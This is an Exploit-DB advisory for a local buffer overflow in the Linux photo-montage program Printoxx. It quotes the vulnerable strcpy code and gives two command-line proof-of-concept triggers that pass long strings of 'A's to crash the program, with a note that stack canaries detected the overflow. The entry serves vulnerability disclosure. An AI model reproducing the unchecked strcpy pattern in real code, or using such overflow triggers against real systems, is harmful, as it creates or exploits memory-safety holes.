Printoxx - Local Buffer Overflow

ID EDB-ID:10617
Type exploitdb
Reporter sandman
Modified 2009-12-23T00:00:00


Printoxx Local Buffer Overflow. Dos exploit for linux platform

                                            # Exploit Title: Printoxx Local Buffer Overflow
# Date: 23 Dec, 2009
# Author: sandman, n4mdn4s [4T] gmail [D0T] com
# Software Link:,

# Version: <= 2.1.2
# Tested on: Fedora 12
# CVE: None
# Code:

"from website"
Printoxx is a free open source Linux program for making and printing a
photo montage. Images can be added to a layout page using the mouse to

select and drop into place. Images can be moved around and resized
using the mouse. Text can be added using any font, and moved around as

Printoxx does not check the length of input filename/directory thus overwriting the buffer [1000 in size] with a call to strcpy. The affected code segment is shown below.

Affected Code Segment:
      else if (strEqu(argv[ii],"-i") && argc > ii+1)                       //  -i imageDirectory
            strcpy(imagedirk,argv[++ii]);   //Overflow
      else if (strEqu(argv[ii],"-f") && argc > ii+1)                       //  -f imageFile

            strcpy(clfile,argv[++ii]);      //Overflow
      else strcpy(clfile,argv[ii]);         //Overflow                     //  assume imageFile

Proof Of Concept:
Image filename overflow:

$ ./printoxx -i $(python -c 'print "A"*1000')

Directory filename overflow:
$ ./printoxx -f $(python -c 'print "A"*1000')

Severity: Very Low

Note: Since this was tested on Fedora 12, the system automatically detected the operation as a possible buffer overflow attempt instead of a regular segfault. This is due to the fact that all executables on Red-Hat

RHEL and Fedora systems are compiled with canaries enabled.